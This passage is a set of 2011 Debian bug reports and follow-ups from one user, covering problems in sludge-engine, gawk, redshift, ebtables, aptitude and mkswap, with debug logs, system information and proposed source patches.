-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#628680: sludge-engine: Nothing is displayed (black screen) with antialias=1

[Rogier]

Hi Tobias,

On 2011-06-06 18:03, Tobias Hansen  wrote:
> Seems like you just have to install the package libgl1-mesa-dri when
> using the mesa driver.
> 
> See http://bugs.debian.org/628808

I have been away, and I still need to check bug 628808, but liblg1-mesa-dri 
was/is already installed on my system.

Rogier.




-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#628680: sludge-engine: Nothing is displayed (black screen) with antialias=1

[Rogier]

Hi Tobias,

On 2011-06-01 08:33, Tobias Hansen  wrote:
> Am 01.06.2011 10:00, schrieb Rogier:
> > Wouldn't that be 'mesa doesn't support something' ? (something that
> > would be
> > in hardware, if only I had a better graphics card ?)
> > 
> > In that case, I would expect either mesa to return a failure somewhere,
> > and then sludge to fail or maybe even to take corrective action (if
> > possible at all), or mesa (knowing it can't support DDY) to do something
> > that at least preserves the output.
> 
> I asked the other developer (the one who wrote the OpenGL code) and he
> says the driver reports success wrongly so we can't do anything about it:
> 
> http://www.adventuredevelopers.com/forum/index.php?topic=3507.0
OK.

> >> What graphics card do you have?
> > 
> > ATI Technologies Inc RS690M [Radeon X1200 Series]
> 
> Aren't there multiple drivers for ATI cards? Could you try another one?
Personally, I'll do without AA, and assume it will get fixed in Mesa, somwehere 
in the future.
However, if it is useful to you in any way, I'll gladly try another driver and 
report the results.

Rogier.



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#628680: sludge-engine: Nothing is displayed (black screen) with antialias=1

[Rogier]

Hi Tobias,

Thanks for your reply.

On 2011-05-31 08:27, Tobias Hansen  wrote:
> Am 31.05.2011 11:49, schrieb Rogier:
> > Unknown opcode DDY
> 
> Looks like this one:
> http://lists.freedesktop.org/archives/dri-devel/2010-August/002805.html
It seems like it.

> There the answer is that the hardware doesn't support something.
Wouldn't that be 'mesa doesn't support something' ? (something that would be 
in hardware, if only I had a better graphics card ?)

In that case, I would expect either mesa to return a failure somewhere, and 
then sludge to fail or maybe even to take corrective action (if possible at 
all), or mesa (knowing it can't support DDY) to do something that at least 
preserves the output.

> What graphics card do you have?
ATI Technologies Inc RS690M [Radeon X1200 Series]

> Is everything displayed correctly when disabling antialiasing?
Yes.
And it is also when using linear interpolation (-a-1).
Just using antialiasing (-a1) it doesn't work.

> The log you posted was with antialiasing
> disabled, would you send one with enabled antialiasing
Hmmm...
The command-line has a '-a 0' indeed, but the log _does_ include the 'DDY' 
message, as well as 'Built shader program: 3 (smartScaler)', which puzzles me, 
as they are unique to antialiasing...
I suspect, I made a typo while sanitizing the /usr/bin/script log file.

I created a new log with antialiasing, and except for the first line, it is 
identical to the one I included in the report. It seems redundant to include 
it here ...

Regards,

Rogier.



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#628680: sludge-engine: Nothing is displayed (black screen) with antialias=1

[Rogier]

Package: sludge-engine
Version: 2.1.1-1
Severity: normal

When starting a game (e.g. out-of-order) with antialias set to 1,
nothing is displayed (i.e. just a black screen / window).
There is also a message about an unknown opcode 'DDY' while
compiling.

With antialias=0 or antialias=-1, the two  games I tried seemed OK
(i.e. the intro / initial screen displays fine).

I'm attaching a debug log of out-of-order.

Regards,

Rogier.


-- System Information:
Debian Release: wheezy/sid
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.38-2-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages sludge-engine depends on:
ii  libalure1   1.1-2AL Utilities REtooled (shared libr
ii  libc6   2.13-4   Embedded GNU C Library: Shared lib
ii  libgcc1 1:4.6.0-2GCC support library
ii  libgl1-mesa-glx [libgl1]7.10.2-2 free implementation of the OpenGL 
ii  libglee0d1  5.4.0-1  extension loading library for Open
ii  libglu1-mesa [libglu1]  7.10.2-2 The OpenGL utility library (GLU)
ii  libogg0 1.2.2~dfsg-1 Ogg bitstream library
ii  libopenal1  1:1.13-2 Software implementation of the Ope
ii  libpng12-0  1.2.44-2 PNG library - runtime
ii  libsdl1.2debian 1.2.14-6.3   Simple DirectMedia Layer
ii  libstdc++6  4.6.0-2  The GNU Standard C++ Library v3
ii  libvorbis0a 1.3.2-1  The Vorbis General Audio Compressi
ii  libvpx0 0.9.6-1  VP8 video codec (shared library)

sludge-engine recommends no packages.

Versions of packages sludge-engine suggests:
pn  sludge-devkit  (no description available)

-- no debconf information
/tmp 1 $ out-of-order -d 1 -w -a 0
test: 5: x-d: unexpected operator
Error loading libdumb.so: libdumb.so: cannot open shared object file: No such file or directory
*** Engine compiled May  5 2011 at 01:33:50.
Video mode 800 600 set successfully.
Compiling vertex shader... 
Shader InfoLog:



Compiling fragment shader... 
Shader InfoLog:



Shaders compiled. 
Program InfoLog:


Shader program linked. 
Built shader program: 3 (smartScaler)
Compiling vertex shader... 
Shader InfoLog:



Compiling fragment shader... 
Shader InfoLog:



Shaders compiled. 
Program InfoLog:


Shader program linked. 
Built shader program: 6 (fixScaleSprite)
Compiling vertex shader... 
Shader InfoLog:



Compiling fragment shader... 
Shader InfoLog:



Shaders compiled. 
Program InfoLog:


Shader program linked. 
Built shader program: 9 (yuv)
OpenGL 2.0! All is good.
Max texture image units: 16
AL lib: pulseaudio.c:612: Context did not connect: Connection refused
loadBankForAnim: New sprite bank created OK
r300 FP: Compiler Error:
r300_fragprog_emit.c::translate_rgb_opcode(): translate_rgb_opcode: Unknown opcode DDY
Using a dummy shader instead.
loadBankForAnim: New sprite bank created OK
Failed to set stream order: Could not reload data
loadBankForAnim: New sprite bank created OK
loadBankForAnim: New sprite bank created OK
loadBankForAnim: New sprite bank created OK
Failed to create stream from MOD: Unsupported type
SLUDGE v2.1.1 non-fatal indigestion report
I can't load a music resource I've been told to play. Sorry.
loadBankForAnim: New sprite bank created OK
Bye!

/tmp 2 $

Bug#313411: gawk: This problem was either solved, or it doesn't exist

[Rogier]

Followup-For: Bug #313411
Package: gawk

I tried to test this, and it seems that at this moment, this behavior is only 
seen
when using the C locale. I got:

$ cat example.txt | LC_ALL=C awk '{ printf "%-5s%s\n",$1, $2 }'
AOnly_a_singlebyte_character_here_(UTF-8:_41)
Ö   A_letter_which_takes_two_bytes_(UTF-8:_c3_96)
€  A_currency_symbol_which_takes_three_bytes_(UTF-8:_e2_82_ac)

$ cat example.txt | LC_ALL=en_US.UTF-8 awk '{ printf "%-5s%s\n",$1, $2 }'
AOnly_a_singlebyte_character_here_(UTF-8:_41)
ÖA_letter_which_takes_two_bytes_(UTF-8:_c3_96)
€A_currency_symbol_which_takes_three_bytes_(UTF-8:_e2_82_ac)

It therefore seems to me that the current behavior is valid, and to be expected.

Regards,

Rogier.

-- System Information:
Debian Release: wheezy/sid
  APT prefers squeeze-updates
  APT policy: (500, 'squeeze-updates'), (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.32-5-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages gawk depends on:
ii  libc6 2.11.2-11  Embedded GNU C Library: Shared lib

gawk recommends no packages.

gawk suggests no packages.

-- no debconf information



--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#619738: gawk: Length and contents of RT may be wrong/garbled when RS==""

[Rogier]

Package: gawk
Version: 1:3.1.7.dfsg-5
Severity: normal
Tags: patch

The contents of RT may be garbled and the length may be wrong when RS=="".

There are two cases:
- Case 1: The last record is 'terminated' with '\n' instead of '\n\n'
  In this case, the length of RT is reported as 0 instead of 1
  Example (1st and 3rd are OK):
$ awk 'BEGIN {printf "0"; exit}' | awk 'BEGIN {RS=""}; {print length(RT)}'
0
$ awk 'BEGIN {printf "0\n"; exit}' | awk 'BEGIN {RS=""}; {print length(RT)}'
0
$ awk 'BEGIN {printf "0\n\n"; exit}' | awk 'BEGIN {RS=""}; {print 
length(RT)}'
2
- Case 2: RT is longer than the shortest RT seen so far
  In this case, the additional characters in RT are garbage.
  In a non-C locale, the length is also reported incorrectly.
$ awk 'BEGIN {printf "0\n\n\n1\n\n\n\n\n"; exit}' | LC_ALL=C awk 'BEGIN 
{RS=""}; {print length(RT),gensub("\n","n","g",RT)}' | cat -v
3 \n\n\n
5 \n\n\n^@^@
$ awk 'BEGIN {printf "0\n\n\n1\n\n\n\n\n"; exit}' | LC_ALL=en_US.UTF-8 awk 
'BEGIN {RS=""}; {print length(RT),gensub("\n","n","g",RT)}' | cat -v
3 \n\n\n
3 \n\n\n^@^@
  In both cases, the output should be:
3 \n\n\n
5 \n\n\n\n\n

I have attached a patch that fixes these problems, and I have added some test 
cases
as well. The patched source passes all tests and compiles into a .deb without 
errors.
After applying the patch, execute permission must be set on the test scripts:
$ chmod +x test/rtlen*.sh

I hereby put the patch, to which I have all rights, in the public domain, so 
that
there can (hopefully) be no legal objection to incorporating it.

Regards.

Rogier.

-- System Information:
Debian Release: wheezy/sid
  APT prefers squeeze-updates
  APT policy: (500, 'squeeze-updates'), (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.32-5-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages gawk depends on:
ii  libc6 2.11.2-11  Embedded GNU C Library: Shared lib

gawk recommends no packages.

gawk suggests no packages.

-- no debconf information
diff -Nur gawk-3.1.7.dfsg/io.c gawk-3.1.7.dfsg-patch/io.c
--- gawk-3.1.7.dfsg/io.c	2009-07-09 21:32:10.0 +0200
+++ gawk-3.1.7.dfsg-patch/io.c	2011-03-26 15:59:46.0 +0100
@@ -2951,8 +2951,12 @@
 while (*bp++ != '\n')
 continue;
 
-if (bp >= iop->dataend) {   /* no terminator */
+if (bp >= iop->dataend) {   /* no full terminator */
 iop->scanoff = recm->len = bp - iop->off - 1;
+		if (bp == iop->dataend) {	/* half a terminator */
+			recm->rt_start = bp - 1;
+			recm->rt_len = 1;
+		}
 *state = INDATA;
 return NOTERM;
 }
@@ -3145,9 +3149,12 @@
 /* else
 leave it alone */
 } else if (matchrec == rsnullscan) {
-if (rtval->stlen <= recm.rt_len)
+if (rtval->stlen >= recm.rt_len) {
 rtval->stlen = recm.rt_len;
-else
+#ifdef MBS_SUPPORT
+rtval->wstlen = recm.rt_len;
+#endif
+			} else
 set_RT(recm.rt_start, recm.rt_len);
 } else
 set_RT(recm.rt_start, recm.rt_len);
diff -Nur gawk-3.1.7.dfsg/test/Makefile.in gawk-3.1.7.dfsg-patch/test/Makefile.in
--- gawk-3.1.7.dfsg/test/Makefile.in	2009-07-21 21:29:59.0 +0200
+++ gawk-3.1.7.dfsg-patch/test/Makefile.in	2011-03-26 17:12:03.0 +0100
@@ -770,6 +770,10 @@
 	rswhite.awk \
 	rswhite.in \
 	rswhite.ok \
+	rtlen.ok \
+	rtlen.sh \
+	rtlen01.ok \
+	rtlen01.sh \
 	scalar.awk \
 	scalar.ok \
 	sclforin.awk \
@@ -908,7 +912,8 @@
 	unterm uparrfs wideidx wideidx2 widesub widesub2 widesub3 \
 	widesub4 wjposer1 zero2 zeroe0 zeroflag
 
-UNIX_TESTS = fflush getlnhd localenl pid pipeio1 pipeio2 poundbang space strftlng
+UNIX_TESTS = fflush getlnhd localenl pid pipeio1 pipeio2 poundbang rtlen rtlen01 \
+	space strftlng
 GAWK_EXT_TESTS = \
 	argtest backw badargs binmode1 clos1way devfd devfd1 devfd2 fieldwdth \
 	fsfwfs funlen fwtest fwtest2 gensub gensub2 getlndir gnuops2 gnuops3 \
@@ -921,7 +926,7 @@
 INET_TESTS = inetechu inetecht inetdayu inetdayt
 MACHINE_TESTS = double1 double2 fmtspcl intformat
 LOCALE_CHARSET_TESTS = asort asorti fmttest fnarydel fnparydl lc_num1 mbfw1 \
-	mbprintf1 mbprintf2 rebt8b2 sort1 sprintfc whiny
+	mbprintf1 mbprintf2 rebt8b2 rtlenmb sort1 sprintfc whin

Bug#619710: redshift: Location cannot be configured in config file

[Rogier]

Package: redshift
Version: 1.6-1
Severity: normal

When using a configuration file, for instance when there exists no
gnome-clock configuration, like under KDE, it is not possible to configure
the location.  The configuration method can be set to manual in the config
file, but there exists no configuration parameter to set the method's
parameter(s)  ('provider_args' in the source - i.e. for 'manual': the latitude 
and longtitude).

Please provide a way to set 'provider_args' / the location from the config file.

Regards,

Rogier.

-- System Information:
Debian Release: wheezy/sid
  APT prefers squeeze-updates
  APT policy: (500, 'squeeze-updates'), (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.32-5-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages redshift depends on:
ii  libc6 2.11.2-11  Embedded GNU C Library: Shared 
lib
ii  libgconf2-4   2.28.1-6   GNOME configuration database syste
ii  libglib2.0-0  2.28.2-1   The GLib library of C routines
ii  libx11-6  2:1.4.1-5  X11 client-side library
ii  libxcb-randr0 1.7-2  X C Binding, randr extension
ii  libxcb1   1.7-2  X C Binding
ii  libxxf86vm1   1:1.1.1-1  X11 XFree86 video mode extension 
l

redshift recommends no packages.

redshift suggests no packages.

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#619709: redshift: Please provide a manual page for the configuration file

[Rogier]

Package: redshift
Version: 1.6-1
Severity: wishlist

Please provide a manual page for the configuration file. Currently,
the only documentation seems to be the source

Regards,

Rogier.


-- System Information:
Debian Release: wheezy/sid
  APT prefers squeeze-updates
  APT policy: (500, 'squeeze-updates'), (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.32-5-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages redshift depends on:
ii  libc6 2.11.2-11  Embedded GNU C Library: Shared lib
ii  libgconf2-4   2.28.1-6   GNOME configuration database syste
ii  libglib2.0-0  2.28.2-1   The GLib library of C routines
ii  libx11-6  2:1.4.1-5  X11 client-side library
ii  libxcb-randr0 1.7-2  X C Binding, randr extension
ii  libxcb1   1.7-2  X C Binding
ii  libxxf86vm1   1:1.1.1-1  X11 XFree86 video mode extension l

redshift recommends no packages.

redshift suggests no packages.

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#619699: gtk-redshift: Autostart configuration is severely broken

[Rogier]

Package: redshift
Version: 1.6-1
Severity: normal

When started for the first time, gtk-redshift creates a file
$HOME/.config/autostart/gtk-redshift.desktop, which, according to the
'Desktop Application Autostart Specification' (found at:
http://standards.freedesktop.org/autostart-spec/autostart-spec-latest.html),
implies it must be automatically started. The method it subsequently utilizes
to enable or disable autostart is to change the value of the gnome-specific
key 'X-GNOME-Autostart-enabled'. Obviously, this violates the standard, and
it only works when using gnome. On any other desktop environment (behavior
observed on KDE, I haven't verified other desktop environments), the effect
is that starting gtk-redshift once will henceforth always cause it to be
autostarted, regardless of any attempt to disable it using the gui.

Regards,

Rogier

-- System Information:
Debian Release: wheezy/sid
  APT prefers squeeze-updates
  APT policy: (500, 'squeeze-updates'), (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.32-5-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages redshift depends on:
ii  libc6 2.11.2-11  Embedded GNU C Library: Shared lib
ii  libgconf2-4   2.28.1-6   GNOME configuration database syste
ii  libglib2.0-0  2.28.2-1   The GLib library of C routines
ii  libx11-6  2:1.4.1-5  X11 client-side library
ii  libxcb-randr0 1.7-2  X C Binding, randr extension
ii  libxcb1   1.7-2  X C Binding
ii  libxxf86vm1   1:1.1.1-1  X11 XFree86 video mode extension l

redshift recommends no packages.

redshift suggests no packages.

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#614919: ebtables may use modprobe, so it should recommend module-init-tools

[Rogier]

Package: ebtables
Version: 2.0.9.2-2
Severity: minor

Ebtables uses modprobe to attempt and load the appropriate kernel modules if
not loaded. IMO, it should therefore recommend module-init-tools ?

BTW: the same holds for arptables

-- System Information:
Debian Release: 6.0
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.32-5-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages ebtables depends on:
ii  libc6 2.11.2-10  Embedded GNU C Library: Shared lib

Versions of packages ebtables recommends:
ii  iptables  1.4.8-3administration tools for packet fi

ebtables suggests no packages.

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#614746: ebtables: 32-bit package is not compatible with 64-bit kernel

[Rogier]

Package: ebtables
Version: 2.0.9.2-2
Severity: normal

Hi,

I am running a 32-bit (i386) userland on top of the 64-bit (amd64) kernel. In
this configuration, ebtables fails to work:
root # lsmod | grep ebtable
ebtable_filter  1599  0 
ebtables   13885  1 ebtable_filter
x_tables   12685  2 ebtables,ip_tables
root # ebtables -L
The kernel doesn't support the ebtables 'filter' table.
The direct cause is that ebtables passes wrongly-sized structures to the kernel,
which returns EINVAL, which in turn causes the (confusing) message above.

I checked the source, and it appears that the ebtables user-kernel interface
uses datastructures containing actual pointers (not offsets, like iptables).
As both the kernel and ebtables use their own idea of a pointer, ebtables
fails.

ebtables does seem to contain code to cope with a mixed 32/64-bit environment,
by defining KERNEL_64_USERSPACE_32 and EBT_MIN_ALIGN during compilation,
however the implementation is partial (at least from an x86_64 perspective),
and therefore not functional. In addition, it would make the resulting binary
fail on top of a 32-bit kernel...

Regards,

Rogier.


-- System Information:
Debian Release: 6.0
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.32-5-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages ebtables depends on:
ii  libc6 2.11.2-10  Embedded GNU C Library: Shared lib

Versions of packages ebtables recommends:
ii  iptables  1.4.8-3administration tools for packet fi

ebtables suggests no packages.

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#603862: Search for ?action(upgrade) finds all packages - patch

[Rogier]

Package: aptitude
Version: 0.6.3-3.2
Severity: normal

Hi,

I ran into the same problem. It also happens when searching for actions 
reinstall 
or downgrade.
Problem seems to be a few missing 'break's in src/generic/apt/matching/match.cc:


--- match.cc.orig   2010-06-19 08:04:43.0 +0200
+++ match.cc2011-02-18 22:03:39.0 +0100
@@ -746,12 +746,15 @@
  // The rest correspond directly to find_pkg_state() return 
values.
case pattern::action_reinstall:
  matches = find_pkg_state(pkg, cache) == pkg_reinstall;
+ break;
 
case pattern::action_upgrade:
  matches = find_pkg_state(pkg, cache) == pkg_upgrade;
+ break;
 
case pattern::action_downgrade:
  matches = find_pkg_state(pkg, cache) == pkg_downgrade;
+ break;
 
case pattern::action_keep:
  matches = cache[pkg].Keep();


I'd appreciate if this (or another) patch could make it into the next version.

Kind Regards,

Rogier.

-- Package-specific info:
aptitude 0.6.3 compiled at Oct 18 2010 22:11:25
Compiler: g++ 4.4.5
Compiled against:
  apt version 4.10.1
  NCurses version 5.7
  libsigc++ version: 2.2.4.2
  Ept support enabled.
  Gtk+ support disabled.

Current library versions:
  NCurses version: ncurses 5.7.20100313
  cwidget version: 0.5.16
  Apt version: 4.10.1
linux-gate.so.1 =>  (0xf777a000)
libapt-pkg.so.4.10 => /usr/lib/libapt-pkg.so.4.10 (0xf7659000)
libncursesw.so.5 => /lib/libncursesw.so.5 (0xf7613000)
libsigc-2.0.so.0 => /usr/lib/libsigc-2.0.so.0 (0xf760c000)
libcwidget.so.3 => /usr/lib/libcwidget.so.3 (0xf754c000)
libept.so.1 => /usr/lib/libept.so.1 (0xf74fb000)
libxapian.so.22 => /usr/lib/sse2/libxapian.so.22 (0xf732)
libz.so.1 => /usr/lib/libz.so.1 (0xf730c000)
libsqlite3.so.0 => /usr/lib/libsqlite3.so.0 (0xf727f000)
libboost_iostreams.so.1.42.0 => /usr/lib/libboost_iostreams.so.1.42.0 
(0xf7266000)
libpthread.so.0 => /lib/i686/cmov/libpthread.so.0 (0xf724d000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xf7158000)
libm.so.6 => /lib/i686/cmov/libm.so.6 (0xf7132000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xf7114000)
libc.so.6 => /lib/i686/cmov/libc.so.6 (0xf6fcd000)
libutil.so.1 => /lib/i686/cmov/libutil.so.1 (0xf6fc9000)
libdl.so.2 => /lib/i686/cmov/libdl.so.2 (0xf6fc5000)
libuuid.so.1 => /lib/libuuid.so.1 (0xf6fc1000)
libbz2.so.1.0 => /lib/libbz2.so.1.0 (0xf6fb)
librt.so.1 => /lib/i686/cmov/librt.so.1 (0xf6fa6000)
/lib/ld-linux.so.2 (0xf777b000)
Terminal: xterm
$DISPLAY is set.
`which aptitude`: /usr/bin/aptitude
aptitude version information:

aptitude linkage:

-- System Information:
Debian Release: 6.0
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.32-5-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages aptitude depends on:
ii  apt [libapt-pkg4.10]0.8.10.3 Advanced front-end for dpkg
ii  libboost-iostreams1.42. 1.42.0-4 Boost.Iostreams Library
ii  libc6   2.11.2-10Embedded GNU C Library: Shared lib
ii  libcwidget3 0.5.16-3 high-level terminal interface libr
ii  libept1 1.0.4High-level library for managing De
ii  libgcc1 1:4.4.5-8GCC support library
ii  libncursesw55.7+20100313-5   shared libraries for terminal hand
ii  libsigc++-2.0-0c2a  2.2.4.2-1type-safe Signal Framework for C++
ii  libsqlite3-03.7.3-1  SQLite 3 shared library
ii  libstdc++6  4.4.5-8  The GNU Standard C++ Library v3
ii  libxapian22 1.2.3-2  Search engine library
ii  zlib1g  1:1.2.3.4.dfsg-3 compression library - runtime

Versions of packages aptitude recommends:
ii  apt-xapian-index  0.41   maintenance and search tools for a
ii  aptitude-doc-en [aptitude-doc 0.6.3-3.2  English manual for aptitude, a ter
ii  libparse-debianchangelog-perl 1.1.1-2.1  parse Debian changelogs and output
ii  sensible-utils0.0.4  Utilities for sensible alternative

Versions of packages aptitude suggests:
ii  debtags   1.7.11 Enables support for package tags
pn  tasksel(no description available)

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#613156: gawk: printf of string does not honor precision (e.g.: %.4s) in non-C locale

[Rogier]

Package: gawk
Version: 1:3.1.7.dfsg-5
Severity: normal
Tags: patch

When using a non-C locale, awk does not honor a precision parameter when
formatting a string. In the C locale it works fine.

$ LC_ALL=C LC_LANG=c awk 'BEGIN {printf "%.5s\n","123456789"; exit}'
12345
$ LC_ALL=en_US.UTF-8 LC_LANG=en_US.UTF-8 awk 'BEGIN {printf 
"%.5s\n","123456789"; exit}'
123456789
$ 

I have created a patch which solves the problem, as well as a new test case,
which the original version fails, and the patched one doesn't.
The patched version also passes all other tests (make check).

I couldn't test the changes I made to test/Makefile.am, as my environment
wouldn't successfully complete automake and autoreconf.

As an aside, I noticed that the (or most?) non-locale tests in the gawk 
testsuite
are verified only using the C locale. Maybe you could consider running them in
a non-C locale as well ? This bug suggests that might be a good idea.

Kind regards,

Rogier

-- System Information:
Debian Release: squeeze/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.32-5-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages gawk depends on:
ii  libc6 2.11.2-6   Embedded GNU C Library: Shared 
lib

gawk recommends no packages.

gawk suggests no packages.

-- no debconf information


diff -Nur gawk-3.1.7.dfsg/builtin.c gawk-3.1.7.dfsg-patch/builtin.c
--- gawk-3.1.7.dfsg/builtin.c   2009-07-09 21:31:27.0 +0200
+++ gawk-3.1.7.dfsg-patch/builtin.c 2011-02-13 11:23:44.0 +0100
@@ -1220,7 +1220,7 @@
else if (gawk_mb_cur_max > 1 && (cs1 == 's' || cs1 == 
'c')) {
assert(cp == arg->stptr || cp == cpbuf);
copy_count = mbc_byte_count(arg->stptr,
-   cs1 == 's' ? arg->stlen : 1);
+   cs1 == 's' ? prec : 1);
}
bchunk(cp, copy_count);
while (fw > prec) {
diff -Nur gawk-3.1.7.dfsg/test/Makefile.am 
gawk-3.1.7.dfsg-patch/test/Makefile.am
--- gawk-3.1.7.dfsg/test/Makefile.am2009-07-03 11:31:11.0 +0200
+++ gawk-3.1.7.dfsg-patch/test/Makefile.am  2011-02-13 11:25:32.0 
+0100
@@ -359,6 +359,9 @@
mbprintf3.awk \
mbprintf3.in \
mbprintf3.ok \
+   mbprintfstr.awk \
+   mbprintfstr.in \
+   mbprintfstr.ok \
mbstr1.awk \
mbstr1.ok \
membug1.awk \
@@ -725,7 +728,7 @@
 MACHINE_TESTS = double1 double2 fmtspcl intformat
 
 LOCALE_CHARSET_TESTS = asort asorti fmttest fnarydel fnparydl lc_num1 mbfw1 \
-   mbprintf1 mbprintf2 rebt8b2 sort1 sprintfc whiny
+   mbprintf1 mbprintf2 mbprintfstr rebt8b2 sort1 sprintfc whiny
 
 # List of the tests which should be run with --lint option:
 NEED_LINT = defref fmtspcl noeffect nofmtch shadow uninit2 uninit3 uninit4 
uninitialized
@@ -1229,6 +1232,12 @@
@echo $@
@GAWKLOCALE=en_US.UTF-8 ; export GAWKLOCALE ; \
$(AWK) -f $(srcdir)/$@.awk $(srcdir)/$@.in >_$@ 2>&1 || echo EXIT CODE: 
$$? >> _$@
+   @-$(CMP) $(srcdir)/$@.ok _$@ && rm -f _$@
+
+mbprintfstr::
+   @echo $@
+   @GAWKLOCALE=en_US.UTF-8 ; export GAWKLOCALE ; \
+   $(AWK) -f $(srcdir)/$@.awk $(srcdir)/$@.in >_$@ 2>&1 || echo EXIT CODE: 
$$? >> _$@
@-$(CMP) $(srcdir)/$@.ok _$@ && rm -f _$@
 
 mbfw1::
diff -Nur gawk-3.1.7.dfsg/test/mbprintfstr.awk gawk-3.1.7.dfsg-
patch/test/mbprintfstr.awk
--- gawk-3.1.7.dfsg/test/mbprintfstr.awk1970-01-01 01:00:00.0 
+0100
+++ gawk-3.1.7.dfsg-patch/test/mbprintfstr.awk  2011-02-13 11:23:44.0 
+0100
@@ -0,0 +1,3 @@
+$1=="wp" { printf "|%*.*s|\n",$2,$3,$4 }
+$1=="w"  { printf "|%*s|\n",$2,$4 }
+$1=="p"  { printf "|%.*s|\n",$3,$4 }
diff -Nur gawk-3.1.7.dfsg/test/mbprintfstr.in gawk-3.1.7.dfsg-
patch/test/mbprintfstr.in
--- gawk-3.1.7.dfsg/test/mbprintfstr.in 1970-01-01 01:00:00.0 +0100
+++ gawk-3.1.7.dfsg-patch/test/mbprintfstr.in   2011-02-13 11:23:44.0 
+0100
@@ -0,0 +1,9 @@
+wp   1  0 áßcđëfgḩìĵ
+wp   8  5 áßcđëfgḩìĵ
+wp  -8  5 áßcđëfgḩìĵ
+w1  - áßcđë
+w8  - áßcđë
+w   -8  - áßcđë
+p-  1 áßcđëfgḩìĵ
+p-  5 áßcđëfgḩìĵ
+p- 12 áßcđëfgḩìĵ
diff -Nur gawk-3.1.7.dfsg/test/mbprintfstr.ok gawk-3.1.7.dfsg-
patch/test/mbprintfstr.ok
--- gawk-3.1.7.dfsg/test/mbprintfstr.ok 1970-01-01 01:00:00.0 +0100
+++ gawk-3.1.7.dfsg-patch/test/mbprintfstr.ok   2011-02-13 11:23:44.

Bug#580558: mkswap treats swap files like a "whole disk" - LVM volumes too

[Rogier]

Package: util-linux
Version: 2.17.2-5
Severity: normal

Mkswap also thinks LVM volumes are a whole disk, and thus doesn't erase
the 'bootbits', and complains about it.

I have looked at the source, and it only clears it if the device does not
start at the start of the disk, or if the name ends with a number
(like in 'hda1'). This latter check causes LVM volumes (or swap files) to
be treated differently, depending on their name:
/dev/vg/swap  -> bootbits not cleared
